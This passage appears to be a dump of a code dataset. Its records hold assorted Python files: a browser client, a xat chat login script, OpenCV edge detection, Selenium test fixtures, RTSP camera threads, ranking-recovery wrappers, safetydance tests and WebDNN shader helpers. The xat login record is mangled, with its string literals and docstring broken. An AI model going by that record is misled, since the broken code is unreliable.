self.way_of_get_page_features == 'static_file':\n link_row = self.page_features_static[self.page_features_static['site'] == link]\n page_features = link_row.to_dict('records')[0]\n return page_features\n elif self.way_of_get_page_features == 'browser':\n # TODO: add function to get page features from current browser\n pass\n\n\nclass ChromeBrowser(ClientBrowser):\n # TODO:\n def __init__(self) -> None:\n pass\n\n def init_browser(self):\n pass\n\n\nif __name__ == \"__main__\":\n client_browser = SeleniumBrowser(\n timeout=400,\n experiment_name=\"goodluck\",\n instance=\"100ms-0d01-100M\",\n way_of_get_metric=\"chrome-har-capturer\",\n way_of_get_page_features=\"static_file\")\n\n client_browser.init_browser()\n client_browser.clean_cache()\n time.sleep(86400)","repo_name":"mengyingzhou/FlexHTTP","sub_path":"client/ClientBrowser.py","file_name":"ClientBrowser.py","file_ext":"py","file_size_in_byte":11310,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"12280678790","text":"'''\r\n\tTitle: Xat Login\r\n\tAuthor: Armin [Perc (40302)]\r\n\tDate: /\r\n\tDescription: Fetches \\0', encoding='utf-8'))\r\n\t\tprint('[Recv]', self.Xat.recv(4068).decode('utf-8', 'ignore'))\r\n\r\n\t\tself.Xat.send(bytes('\\0' % (str(self.userConfig['reg']), str(self.userConfig['pw'])), encoding='utf-8'))\r\n\t\tprint('[Recv]', self.Xat.recv(4068).decode('utf-8', 'ignore'))\r\n\r\n\tdef xmlArray(self, xml):\r\n\t\ttry:\r\n\t\t\t_return = {}\r\n\t\t\tarray = ElementTree.fromstring(xml if xml[-1:] != chr(0) else xml[:-1])\r\n\t\t\t_return[chr(0)] = array.tag\r\n\t\t\tfor i in array.attrib:\r\n\t\t\t\t_return[i] = array.attrib[i]\r\n\t\tfinally: return _return\r\n\r\nlogin()\r\n","repo_name":"LuvPercs/Xat-Projects","sub_path":"xatLogin.py","file_name":"xatLogin.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26376757785","text":"# https://gist.github.com/endless3cross3/2c3056aebef571c6de1016b2bbf2bdbf\n\nimport cv2\n\n\n# 0.33 是为了保证高阈值/低阈值=3倍\ndef otsu_canny(image, lowrate=0.33):\n if len(image.shape) > 2:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n # Otsu's thresholding\n ret, _ = cv2.threshold(image, thresh=0, maxval=255, type=(cv2.THRESH_BINARY + cv2.THRESH_OTSU))\n edged = cv2.Canny(image, threshold1=(ret * lowrate), threshold2=ret)\n\n # return the edged image\n return edged\n\n\nimg_path = r'../materials/images/op-sample-1.png'\nimg = cv2.imread(img_path)\n\nedged = otsu_canny(img)\n\ncv2.imshow('img', edged)\ncv2.waitKey()\ncv2.destroyAllWindows()\n","repo_name":"mad-center/video-edge-detection-opencv","sub_path":"playground/test_otsu_canny.py","file_name":"test_otsu_canny.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40838824378","text":"import pytest\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium import webdriver\nfrom page_object.creditcard_page import CreditCardView\n\n\n@pytest.fixture\ndef driver():\n service = Service(executable_path=ChromeDriverManager().install())\n # Display on the desktop\n # driver = webdriver.Chrome(service=service)\n # driver.set_window_size(400, 750)\n # Headless\n chrome_options = Options()\n chrome_options.add_argument(\"--headless\")\n chrome_options.add_argument(\"--disable-gpu\")\n chrome_options.add_argument(\"--window-size=400x750\")\n driver = webdriver.Chrome(service=service, options=chrome_options)\n\n driver.get(\"https://www.cathaybk.com.tw/cathaybk/\")\n yield driver\n driver.quit()\n\n\n@pytest.fixture\ndef credit_card_view(driver):\n return CreditCardView(driver)\n","repo_name":"Sherry0312/cathaybk_interview","sub_path":"Automation_assignment/test_web/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34615307632","text":"import cv2\r\nimport threading\r\n\r\nRTSP_URL = 'rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mp4'\r\nstreams=(\r\n [RTSP_URL,'cam1'],\r\n [RTSP_URL,'cam2'],\r\n [RTSP_URL,'cam3'],\r\n)\r\n\r\n\r\ndef cams(s):\r\n url = s[0]\r\n cam = s[1]\r\n\r\n video = cv2.VideoCapture(url)\r\n while True:\r\n _, frame = video.read()\r\n cv2.imshow(cam, frame)\r\n k = cv2.waitKey(1)\r\n if k == ord('q'):\r\n break\r\n video.release()\r\n cv2.destroyAllWindows()\r\n\r\n\r\nthread_list = []\r\nfor s in streams:\r\n x = threading.Thread(target=cams, args=(s,))\r\n thread_list.append(x)\r\n # x.start()\r\n # x.join()\r\n\r\nfor thread in thread_list:\r\n # thread.setDaemon(True)\r\n thread.start()\r\n # thread.join()","repo_name":"kishore-work-hard/stream-multi-IP-cam","sub_path":"one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15165803326","text":"\"\"\"\nLive Project Lab 6 \nHave used a local text file as the source\n\n\"\"\"\nimport string \nimport re\nwith open(\"gitWorkflow.txt\") as infile, open(\"gitWorkflow_clean.txt\", \"w\") as outfile:\n for line in infile:\n # make all one case\n # remember to add new string 'lowerline = ' strings are immutable!\n lowerline = line.lower()\n \n # remove punctuation with regular expression\n no_punctuation = re.sub(r'[^\\w\\s]','', lowerline)\n \n # split into words - whitespace is default separator\n # words is a list of individual words in the line \n words = no_punctuation.split()\n \n # write all words one word per line\n for word in words:\n outfile.write(word)\n # write will only accept one argument\n outfile.write(\"\\n\")\n \n","repo_name":"richardhosking/Manning-Live-Project","sub_path":"work.py","file_name":"work.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34550554029","text":"from typing import Tuple, Union\nfrom pathlib import Path\nimport os\n\nimport pandas as pd\nimport networkx as nx\nimport scipy.sparse as sp\n\nfrom .fairgraph import FairPairGraph\nfrom .recovery_baselines import *\n\n\ndef fairPageRank(G:FairPairGraph, cutoff=0.4, phi=0.5, path='data/tmp'):\n '''A wrapper for the C++-based implementation of Fairness-Aware PageRank (Tsioutsiouliklis et al., 2021)'''\n # get all edges with weights higher than or equal to cutof\n edges = G.edges(data='weight')\n edges = [(outgoing, incoming) for outgoing, incoming, weight in edges if weight>=cutoff]\n \n # write edgelist\n graphfile_path = Path(path,'out_graph.txt')\n with open(graphfile_path, 'w') as file:\n file.write(f'{len(G.nodes)}\\n')\n for edge in edges:\n file.write(f'{edge[0]} {edge[1]}\\n')\n \n # write nodelist with groups\n nodes = G.nodes(data='minority')\n nodes = [(node, 1) if minority else (node, 0) for node, minority in nodes]\n community_path = Path(path,'out_community.txt')\n with open(community_path, 'w') as file:\n file.write('2\\n') # we always have two groups\n for node in nodes:\n file.write(f'{node[0]} {node[1]}\\n')\n \n # write desired community sizes\n sizes_path = Path(path,'sizes.txt')\n with open(sizes_path, 'w') as file:\n file.write(f'0 {1-phi}\\n') # priviledged group\n file.write(f'1 {phi}\\n') # unpriviledged group\n \n # run the compiled fairPageRank program\n # make sure that pagerank.out is located in the path directory\n dir = os.getcwd()\n os.chdir(path)\n os.system('./pagerank.out -c sizes.txt > /dev/null') # run with muted stdout\n #os.system(f'./residual_optimization.out {phi} > /dev/null') # run with muted stdout\n os.chdir(dir)\n\n # read the finished file\n #result_path = Path(path,'out_pagerank_pagerank.txt')\n result_path = Path(path,'out_lfpr_p_pagerank.txt')\n #result_path = Path(path,'out_excess_sensitive_pagerank.txt')\n with open(result_path, 'r') as file:\n ranking = file.read().splitlines()\n ranking = [float(score) for score in ranking]\n\n return ranking\n\n\ndef randomRankRecovery(A: sp.spmatrix, seed: Union[int, None] = None):\n x, y = A.get_shape()\n rng = np.random.default_rng(seed=seed)\n return rng.random(x)\n\n\nclass RankRecovery:\n\n def __init__(self, G:FairPairGraph, class_attr='minority', weight_attr='weight', score_attr='score'):\n '''\n Initialize the ranking\n\n Parameters\n ----------\n - G: the FairPairGraph from which a ranking will be recovered\n - class_attr: name of the node attribute to use as a group label\n - weight_attr: name of the edge attribute for storing weights\n - score_attr: name of the node attribute for storing scores\n '''\n self.G = G\n self.class_attr = class_attr\n self.weight_attr = weight_attr\n self.score_attr = score_attr\n\n \n def apply(self, rank_using=rankCentrality, **kwargs) -> Tuple[dict, list]:\n '''\n Helper for applying a ranking function to a FairPairGraph.\n Preserves node names and calculates the ranking only if strongly connected.\n\n Parameters\n ----------\n - rank_using: a function that recovers a ranking (list) from an adjacency matrix\n OR 'fairPageRank', if Fairness-Aware PageRank should be applied\n - **kwargs: keyword arguments to be passed to the ranking function\n\n Returns\n -------\n - ranking: dict of nodes and their ranking results\n - other_nodes: list of all nodes NOT included in giant strongly connected component\n '''\n other_nodes = []\n ranking = None\n if nx.is_strongly_connected(self.G): # only apply ranking recovery if strongly connected\n if rank_using == 'fairPageRank':\n ranking = fairPageRank(self.G, **kwargs)\n ranking = dict(zip(self.G.nodes, ranking))\n else:\n adjacency = nx.linalg.graphmatrix.adjacency_matrix(self.G, weight=self.weight_attr)\n\n # The GNNRank implementation generally assumes i->j means \"i beats j\", while we mean the opposite\n adjacency = adjacency.transpose()\n \n ranking = rank_using(adjacency, **kwargs)\n ranking = [float(abs(score)) if isinstance(score, complex) else float(score) for score in ranking]\n ranking = dict(zip(self.G.nodes, ranking)) # nodes might have specific names, so we return a dict\n else:\n connected_nodes = max(nx.strongly_connected_components(self.G), key=len) # get the giant connected component\n other_nodes = [node for node in self.G.nodes if node not in connected_nodes]\n\n return ranking, other_nodes\n \n\n def _print_with_score(self, ranking:dict):\n\n # sort by ranking score\n ranking = {node: score for node, score in sorted(ranking.items(), key=lambda item: item[1], reverse=True)}\n\n # print with original score and group membership\n data = []\n for node, rank_score in ranking.items():\n data.append((node, self.G.nodes[node]['score'], rank_score))\n return pd.DataFrame(data, columns=['node', 'orig score', 'rank score'])\n","repo_name":"wanLo/fairpair","sub_path":"fairpair/rank_recovery.py","file_name":"rank_recovery.py","file_ext":"py","file_size_in_byte":5297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13805570025","text":"\"\"\"\nThis is the test for testing\nreferences to step_data and context_key.\n\nThese test cases will cover cases in which there need to be imports\nfrom other files.\n\"\"\"\nimport pytest\nfrom safetydance import step, step_data, script\nfrom references import structure, config, stepdataStruct\nimport pkg1.pkg2.deep_step_data\nimport references\n\ndict_to_unpack = step_data(dict)\nargs_to_unpack = step_data(list)\n\n\n@step\ndef add_data_structure():\n \"\"\"\n Below, I run tests that are configured to call functions\n that belong to the dict method. These modify the dict.\n \"\"\"\n structure.revenue += 20\n structure.books[\"Richard Feynmann\"] = \"The Lectures on Physics Vol I\"\n structure.people.append(\"Travis Oliphant\")\n\n\n@step\ndef add_revenue_with_fqn():\n \"\"\"\n This step is used to validate that qualified names for step_data work as expected.\n \"\"\"\n references.structure.revenue += 22\n references.HasStepData.a_step_data = \"It works!\"\n pkg1.pkg2.deep_step_data.deep_step_data = 42\n\n\n@step\ndef add_data_config():\n \"\"\"\n config is a dict. Let's test a couple dict\n methods to make sure things are working\n \"\"\"\n info = {\"RAM\": \"32GB\", \"Input\": \"Keyboard\", \"processors\": \"2\"}\n config.update(info)\n\n\n@step\ndef before_data_inject():\n # This is a test step\n # showing how tests can be within a step\n assert structure.revenue == 42\n assert len(structure.books) == 1\n assert len(structure.people) == 1\n\n\n@step\ndef after_data_inject():\n # This is the test suite for\n # tests after data has been added\n assert structure.revenue == 62\n assert structure.books[\"Richard Feynmann\"] == \"The Lectures on Physics Vol I\"\n assert structure.books[\"Douglas Adams\"] == \"The Hitchhiker's Guide to the Galaxy\"\n assert len(structure.books) == 2\n assert len(structure.people) == 2\n assert structure.people[0] == \"Arthur Dent\"\n assert config[\"OS\"] == \"nix\"\n assert config[\"RAM\"] == \"32GB\"\n\n\n@step\ndef delete_data():\n del structure.books[\"Richard Feynmann\"]\n structure.revenue = 42\n del structure.people[1]\n del config[\"Input\"]\n\n\n@step\ndef step_using_lambda():\n some_list = [1, 2, 3]\n result = list(map(lambda x: x + 1, some_list))\n assert [2, 3, 4] == result, f\"{result}\"\n\n\n@script\ndef test_references():\n # Initialize structures\n structure = stepdataStruct(\n 42, {\"Douglas Adams\": \"The Hitchhiker's Guide to the Galaxy\"}, [\"Arthur Dent\"]\n )\n config = {\"OS\": \"nix\"}\n # Run Prior Tests\n before_data_inject()\n # Update Data\n add_data_structure()\n add_data_config()\n # Test After Updating\n after_data_inject()\n # Delete Data\n delete_data()\n # Finish testing in method\n assert len(config) == 3\n assert len(structure.people) == 1\n assert structure.revenue == 42\n assert len(structure.books) == 1\n\n add_revenue_with_fqn()\n assert structure.revenue == 64\n assert references.HasStepData.a_step_data == \"It works!\"\n assert pkg1.pkg2.deep_step_data.deep_step_data == 42\n\n\naccumulator = step_data(int)\n\n\ndef func_with_keywords(**kwargs):\n result = 0\n for k, v in kwargs.items():\n result += v\n return result\n\n\ndef func_with_starred(*args):\n result = 0\n for v in args:\n result += v\n return result\n\n\n@step\ndef start_accumulator_with(value: int):\n accumulator = value\n\n\n@step\ndef increment_accumulator():\n accumulator = accumulator + 1\n\n\n@step\ndef accumulated_value_is(expected: int):\n assert accumulator == expected\n\n\n@script\ndef fest_repeated_calls():\n start_accumulator_with(1)\n accumulated_value_is(1)\n increment_accumulator()\n accumulated_value_is(2)\n increment_accumulator()\n accumulated_value_is(3)\n\n\n@step\ndef recursive_accumulator(depth: int):\n if depth > 0:\n increment_accumulator()\n recursive_accumulator(depth - 1)\n\n\nanother_step_was_called = step_data(bool)\n\n\n@step\ndef calls_another_step():\n another_step()\n\n\n@step\ndef another_step():\n another_step_was_called = True\n\n\n@script\ndef test_nested_step_calls():\n start_accumulator_with(0)\n recursive_accumulator(3)\n assert accumulator == 3\n\n another_step_was_called = False\n calls_another_step()\n assert another_step_was_called == True\n\n\n@step\ndef step_one():\n print(\"I ran\")\n\n\n@step\ndef step_two():\n step_one()\n\n\n@script\ndef the_script():\n step_one()\n step_two()\n\n\n@script\ndef test_unpacking():\n dict_to_unpack = {\"one\": 1, \"two\": 2, \"three\": 3}\n args_to_unpack = [1, 2, 3]\n assert 6 == func_with_keywords(**dict_to_unpack)\n assert 6 == func_with_starred(*args_to_unpack)\n\n\ndef test_another_test_of_nested_script_calls():\n \"\"\"This test proves that nested step calls are being properly handled within a\n script.\"\"\"\n the_script()\n\n\n@script\ndef test_use_of_lambda():\n step_using_lambda()\n\n\n@step\ndef step_with_return_value():\n return 42\n\n\n@script\ndef test_receiving_step_return_values():\n assert step_with_return_value() == 42\n","repo_name":"dcharbon/safetydance","sub_path":"tests/test_rewrite.py","file_name":"test_rewrite.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35799394523","text":"from typing import List, Dict, Tuple, Set, Sequence, Union\n\nimport numpy as np\n\nfrom webdnn.backend.webgl.attributes.channel_mode import ChannelMode, ChannelModeEnum\nfrom webdnn.backend.webgl.attributes.texture_shape import TextureShape\nfrom webdnn.backend.webgl.kernel_code import Type, ExpressionNode, Expression, IntExpressionNode, FloatExpressionNode\nfrom webdnn.graph.axis import AxisKeyDict, Axis\nfrom webdnn.graph.order import Order\nfrom webdnn.graph.placeholder import Placeholder\nfrom webdnn.graph.variable import Variable\nfrom webdnn.util.misc import mul\n\n\ndef change_order(expression: Expression, in_order: Order, out_order: Order) -> ExpressionNode:\n assert in_order.check_same_axes(out_order), f\"\"\"\n\"in_order\" and \"out_order\" must have same axes:\n (in_order) = {in_order}\n (out_order) = {out_order}\n\"\"\"\n\n if in_order == out_order:\n return ExpressionNode(expression)\n\n else:\n return ExpressionNode([expression, f\".{''.join(['xyzw'[in_order.axes_dict[axis]] for axis in out_order.axes])}\"])\n\n\ndef get_output_position(output_variable: Variable):\n if ChannelMode.get(output_variable) == ChannelModeEnum.R:\n return convert_position(\"gl_FragCoord.yx\",\n texture_shape(output_variable)[:2],\n texture_stride(output_variable)[:2],\n output_variable.shape,\n output_variable.stride)\n\n elif ChannelMode.get(output_variable) == ChannelModeEnum.RGBA:\n return convert_position(\"vec3(gl_FragCoord.y, gl_FragCoord.x, 0)\",\n texture_shape(output_variable),\n texture_stride(output_variable),\n output_variable.shape,\n output_variable.stride)\n\n\ndef convert_position(expression: Expression,\n in_shape: Sequence[int], in_stride: Sequence[int],\n out_shape: Sequence[int], out_stride: Sequence[int], index_offset: int = 0):\n if Placeholder.check_resolved(mul(in_shape)) and mul(in_shape) < 1 << 20:\n return ExpressionNode([\n \"convert_position_fast(\",\n expression, \",\",\n ivec(in_stride), \", \",\n ivec(out_stride), \", \",\n ivec(out_shape), \", \",\n index_offset, \")\"\n ])\n\n else:\n return ExpressionNode([\n \"convert_position_i(\",\n expression, \",\",\n ivec(in_stride), \", \",\n ivec(out_stride), \", \",\n ivec(out_shape), \", \",\n index_offset, \")\"\n ])\n\n\ndef convert_coord(expression: Expression,\n in_shape: Sequence[int], in_stride: Sequence[int],\n out_shape: Sequence[int], out_stride: Sequence[int], index_offset: int = 0):\n if all(Placeholder.check_resolved(v) for v in out_shape):\n inv_out_shape = [np.double(1.0) / np.double(v) for v in out_shape]\n\n return ExpressionNode([\n f\"({Type.Vec.get_name(out_shape)}(\", convert_position(expression, in_shape, in_stride, out_shape, out_stride, index_offset),\n \")\",\n \" + 0.5) * \", vec(inv_out_shape)\n ])\n\n else:\n return ExpressionNode([\n f\"({Type.Vec.get_name(out_shape)}(\", convert_position(expression, in_shape, in_stride, out_shape, out_stride, index_offset),\n \")\",\n \" + 0.5) / \", vec(out_shape)\n ])\n\n\ndef texel_fetch(variable: Variable, expression: Expression):\n texture_shape_xy = texture_shape(variable)[0:2][::-1]\n texture_stride_xy = texture_stride(variable)[0:2][::-1]\n return ExpressionNode([\n \"texture2D(\",\n variable, \",\",\n convert_coord(expression, variable.shape, variable.stride, texture_shape_xy, texture_stride_xy), \")\"\n ])\n\n\ndef ivec(sequence: Sequence[Union[int, Placeholder]]):\n assert 2 <= len(sequence) <= 4\n return [IntExpressionNode(v) for v in sequence]\n\n\ndef ivec2(sequence: Sequence[int]):\n assert len(sequence) == 2\n return ivec(sequence)\n\n\ndef ivec3(sequence: Sequence[int]):\n assert len(sequence) == 3\n return ivec(sequence)\n\n\ndef ivec4(sequence: Sequence[int]):\n assert len(sequence) == 4\n return ivec(sequence)\n\n\ndef vec(sequence: Sequence[float]):\n assert 2 <= len(sequence) <= 4\n return [FloatExpressionNode(v) for v in sequence]\n\n\ndef vec2(sequence: Sequence[float]):\n assert len(sequence) == 2\n return vec(sequence)\n\n\ndef vec3(sequence: Sequence[float]):\n assert len(sequence) == 3\n return vec(sequence)\n\n\ndef vec4(sequence: Sequence[float]):\n assert len(sequence) == 4\n return vec(sequence)\n\n\ndef _mod_snippet(t1: str, t2: str, tr: str):\n return f\"{tr} mod({t1} x, {t2} p) {{ return x-(x/p)*p; }}\"\n\n\ndef _convert_position_fast_snippet(ndim1: int, ndim2: int):\n dot = '+'.join(f'p1[{i}]*s1[{i}]' for i in range(ndim1))\n return f\"\"\"\nivec{ndim2} convert_position_fast(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int offset) {{\n return mod(({dot} + offset) / s2, d2);\n}}\n\nivec{ndim2} convert_position_fast(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_fast(p1, s1, s2, d2, 0);\n}}\n\nivec{ndim2} convert_position_fast(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int offset) {{\n return convert_position_fast(ivec{ndim1}(p1), s1, s2, d2, offset);\n}}\n\nivec{ndim2} convert_position_fast(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_fast(ivec{ndim1}(p1), s1, s2, d2, 0);\n}}\n\"\"\"\n\n\ndef _convert_position_snippet(ndim1: int, ndim2: int):\n iteration_snippets = []\n for i in range(ndim1):\n iteration_snippets.append(f\"\"\"\n index += index_partial[{i}];\n m = index / s2;\n p2 += m;\n index -= m*s2;\n \"\"\")\n\n iteration_snippet = \"\\n\".join(iteration_snippets)\n\n return f\"\"\"\nivec{ndim2} convert_position_i(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int index_offset) {{\n ivec{ndim1} index_partial = p1 * s1;\n ivec{ndim2} index = ivec{ndim2}(index_offset);\n ivec{ndim2} p2 = ivec{ndim2}(0);\n\n ivec{ndim2} m;\n {iteration_snippet}\n\n return p2-(p2/d2)*d2;\n}}\n\nivec{ndim2} convert_position_i(ivec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_i(p1, s1, s2, d2, 0);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2, int index_offset) {{\n return convert_position_i(ivec{ndim1}(p1), s1, s2, d2, index_offset);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, ivec{ndim1} s1, ivec{ndim2} s2, ivec{ndim2} d2) {{\n return convert_position_i(ivec{ndim1}(p1), s1, s2, d2, 0);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2, int index_offset) {{\n return convert_position_i(ivec{ndim1}(p1), ivec{ndim1}(s1), ivec{ndim2}(s2), ivec{ndim2}(d2), index_offset);\n}}\n\nivec{ndim2} convert_position_i(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2) {{\n return convert_position_i(ivec{ndim1}(p1), ivec{ndim1}(s1), ivec{ndim2}(s2), ivec{ndim2}(d2), 0);\n}}\n\nvec{ndim2} convert_position(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2, int index_offset) {{\n return vec{ndim2}(convert_position_i(ivec{ndim1}(p1), ivec{ndim1}(s1), ivec{ndim2}(s2), ivec{ndim2}(d2), index_offset)) + 0.5;\n}}\n\nvec{ndim2} convert_position(vec{ndim1} p1, vec{ndim1} s1, vec{ndim2} s2, vec{ndim2} d2) {{\n return convert_position(p1, s1, s2, d2, 0);\n}}\n\"\"\"\n\n\nFragmentShaderPreamble = f\"\"\"\nprecision highp float;\nprecision highp int;\nprecision highp sampler2D;\n\n{_mod_snippet(\"int\", \"int\", \"int\")}\n{_mod_snippet(\"int\", \"ivec2\", \"ivec2\")}\n{_mod_snippet(\"int\", \"ivec3\", \"ivec3\")}\n{_mod_snippet(\"int\", \"ivec4\", \"ivec4\")}\n{_mod_snippet(\"ivec2\", \"int\", \"ivec2\")}\n{_mod_snippet(\"ivec3\", \"int\", \"ivec3\")}\n{_mod_snippet(\"ivec4\", \"int\", \"ivec4\")}\n{_mod_snippet(\"ivec2\", \"ivec2\", \"ivec2\")}\n{_mod_snippet(\"ivec3\", \"ivec3\", \"ivec3\")}\n{_mod_snippet(\"ivec4\", \"ivec4\", \"ivec4\")}\n\n{_convert_position_fast_snippet(2, 2)}\n{_convert_position_fast_snippet(2, 3)}\n{_convert_position_fast_snippet(2, 4)}\n{_convert_position_fast_snippet(3, 2)}\n{_convert_position_fast_snippet(3, 3)}\n{_convert_position_fast_snippet(3, 4)}\n{_convert_position_fast_snippet(4, 2)}\n{_convert_position_fast_snippet(4, 3)}\n{_convert_position_fast_snippet(4, 4)}\n{_convert_position_snippet(2, 2)}\n{_convert_position_snippet(2, 3)}\n{_convert_position_snippet(2, 4)}\n{_convert_position_snippet(3, 2)}\n{_convert_position_snippet(3, 3)}\n{_convert_position_snippet(3, 4)}\n{_convert_position_snippet(4, 2)}\n{_convert_position_snippet(4, 3)}\n{_convert_position_snippet(4, 4)}\n\nvec2 var2tex(vec2 var_position, vec2 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n vec3 tex_pos = convert_position(var_position, var_stride, tex_stride, tex_shape);\n return vec2(tex_pos.y, tex_pos.x);\n}}\nvec2 var2tex(vec3 var_position, vec3 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n vec3 tex_pos = convert_position(var_position, var_stride, tex_stride, tex_shape);\n return vec2(tex_pos.y, tex_pos.x);\n}}\nvec2 var2tex(vec4 var_position, vec4 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n vec3 tex_pos = convert_position(var_position, var_stride, tex_stride, tex_shape);\n return vec2(tex_pos.y, tex_pos.x);\n}}\n\n\nvec2 var2tex_coord(vec2 var_position, vec2 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(var_position, var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(ivec2 var_position, vec2 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(vec2(var_position), var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(vec3 var_position, vec3 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(var_position, var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(ivec3 var_position, vec3 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(vec3(var_position), var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(vec4 var_position, vec4 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(var_position, var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\nvec2 var2tex_coord(ivec4 var_position, vec4 var_stride, vec3 tex_stride, vec3 tex_shape) {{\n return var2tex(vec4(var_position), var_stride, tex_stride, tex_shape) / tex_shape.yx;\n}}\n\n\nivec2 tex2var(vec2 tex_position, vec3 tex_stride, vec2 var_stride, vec2 var_shape, int ch) {{\n return convert_position_i(vec3(tex_position.y, tex_position.x, float(ch) + 0.5), tex_stride, var_stride, var_shape);\n}}\nivec3 tex2var(vec2 tex_position, vec3 tex_stride, vec3 var_stride, vec3 var_shape, int ch) {{\n return convert_position_i(vec3(tex_position.y, tex_position.x, float(ch) + 0.5), tex_stride, var_stride, var_shape);\n}}\nivec4 tex2var(vec2 tex_position, vec3 tex_stride, vec4 var_stride, vec4 var_shape, int ch) {{\n return convert_position_i(vec3(tex_position.y, tex_position.x, float(ch) + 0.5), tex_stride, var_stride, var_shape);\n}}\n\nivec2 tex2var(vec2 tex_position, vec3 tex_stride, vec2 var_stride, vec2 var_shape) {{\n return tex2var(tex_position, tex_stride, var_stride, var_shape, 0);\n}}\nivec3 tex2var(vec2 tex_position, vec3 tex_stride, vec3 var_stride, vec3 var_shape) {{\n return tex2var(tex_position, tex_stride, var_stride, var_shape, 0);\n}}\nivec4 tex2var(vec2 tex_position, vec3 tex_stride, vec4 var_stride, vec4 var_shape) {{\n return tex2var(tex_position, tex_stride, var_stride, var_shape, 0);\n}}\n\"\"\"\n\n\ndef simplify_orders(variables: List[Variable],\n keep_axes: List[Axis] = None) -> Tuple[Dict[Variable, Order], Dict[Variable, AxisKeyDict[int]]]:\n \"\"\"\n Simplify variable orders based on follow rules\n\n - Axis whose size is :code:`1` will be removed.\n\n - If axis :code:`A` and :code:`B` is adjacent in all variables which has axis :code:`A` and axis :code:`B`, :code:`A` and :code:`B` will\n be merged.\n - For example, :code:`OrderABC` and :code:`OrderCAB` can be simplified as :code:`OrderXC` and :code:`OrderCX`\n - In this case, the size of axis :code:`X` is calculated as :code:`(size of axis A) * (size of axis B)`\n\n ...code-block::text\n\n ex)\n x0.order=NHWC, simplify x0.order=X\n y.order=NHWC ------------> y.order=X\n\n ex)\n x0.order=C, simplify x0.order=C\n x1.order=NHWC ------------> x1.order=XC\n y.order=NHWC y.order=XC\n\n ex)\n x0.order=C, simplify x0.order=C\n x1.order=HW ------------> x1.order=X\n y.order=NHWC y.order=NXC\n\n Returns:\n (tuple of dicts) simplified orders and shape\n \"\"\"\n if keep_axes is None:\n keep_axes = []\n\n orders = {} # type: Dict[Variable, Order]\n shape_dicts = {} # type: Dict[Variable, AxisKeyDict[int]]\n\n # remove all axes whose size is `1`.\n for v in variables:\n new_axes = [a for a in v.order.axes if v.shape_dict[a] != 1 or a in keep_axes]\n orders[v] = Order(new_axes)\n shape_dicts[v] = AxisKeyDict(new_axes, [v.shape_dict[a] for a in new_axes])\n\n if len(new_axes) == 0 and v.size == 1:\n orders[v] = Order([Axis(None)])\n shape_dicts[v] = AxisKeyDict(orders[v].axes, [1])\n\n # list up all pair of axes and variables which have the corresponding axis\n var_dict = AxisKeyDict[Set[Variable]]()\n for v in variables:\n for axis in orders[v].axes:\n if axis in var_dict:\n var_dict[axis].add(v)\n else:\n var_dict[axis] = {v}\n\n # find pair of two axes which can be merged\n counter = 0\n flag_continue = True\n while flag_continue:\n flag_continue = False\n\n for axis1, vars1 in list(var_dict.items()):\n if axis1 in keep_axes:\n # This axis must be kept\n continue\n\n for axis2, vars2 in list(var_dict.items()):\n if axis2 in keep_axes:\n # This axis must be kept\n continue\n\n if axis1 == axis2:\n continue\n\n if vars1 != vars2 or any(orders[v].axes_dict[axis1] + 1 != orders[v].axes_dict[axis2] for v in vars1):\n # `axis1` and `axis2` must be 